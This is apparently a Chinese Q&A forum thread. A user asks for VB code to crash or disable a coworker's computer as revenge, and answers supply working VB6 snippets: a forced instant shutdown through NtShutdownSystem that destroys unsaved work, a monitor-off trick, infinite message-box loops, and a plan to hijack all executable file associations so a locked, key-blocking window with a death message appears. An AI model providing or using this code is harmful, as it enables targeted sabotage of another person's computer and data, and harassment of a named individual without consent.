Question

VB 如何编写程序代码让计算机掉线或蓝屏死机等？？？

请各位高手给点整人的VB代码，让计算机死机或蓝屏或掉线，整得计算机越惨越好。。。
请给完整代码 谢谢，
声明下：我老婆背着我和我一个同事干了坏事，所以我想整整 我的同事，消气，请大家帮我出气
不够狠啊

Answer 1

以下为关闭屏幕代码，移动鼠标后，屏幕恢复，可以放在Timer里，循环执行。

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Private Const WM_SYSCOMMAND = &H112&
Private Const SC_MONITORPOWER = &HF170&

Private Sub Command1_Click()
SendMessage GetForegroundWindow, WM_SYSCOMMAND, SC_MONITORPOWER, 1
End Sub

以下为音速关机代码，电脑会直接黑屏关闭，特别注意：正在进行的工作，若未保存，将丢失！

Private Declare Function RtlAdjustPrivilege Lib "ntdll" _
(ByVal Privilege As Long, _
ByVal NewValue As Long, _
ByVal NewThread As Long, _
ByRef OldValue As Long) As Long
Private Declare Function NtShutdownSystem Lib "ntdll" (ByVal ShutdownAction As Long) As Long

Private Sub Command1_Click()
RtlAdjustPrivilege 19&, 1, 0, 0
NtShutdownSystem 0
End Sub

Answer 2

够狠的就是

修改注册表 把所有可执行程序关联到你的程序上

只有他执行任何程序 就会打开你的程序

你的程序设计为：

设置为顶层窗体（所有窗口的上面）

禁止所有按键 包括系统组合键

在屏幕上显示一个哭的图片 显示一行字“XXX的XX死了！”

循环播放哀乐

哈哈哈哈哈哈哈哈哈

善哉善哉善哉善哉善哉善哉

Answer 3

最简单的弄几无限死循环就可以了 罪过罪过

Answer 4

代码中有这个就死机：
Do
Loop while True

追问

能完整点吗

追答

private sub form_load()
dim a as boolean
a=True
do
msgbox "完蛋了!"
Loop while a
end sub

不停弹出窗口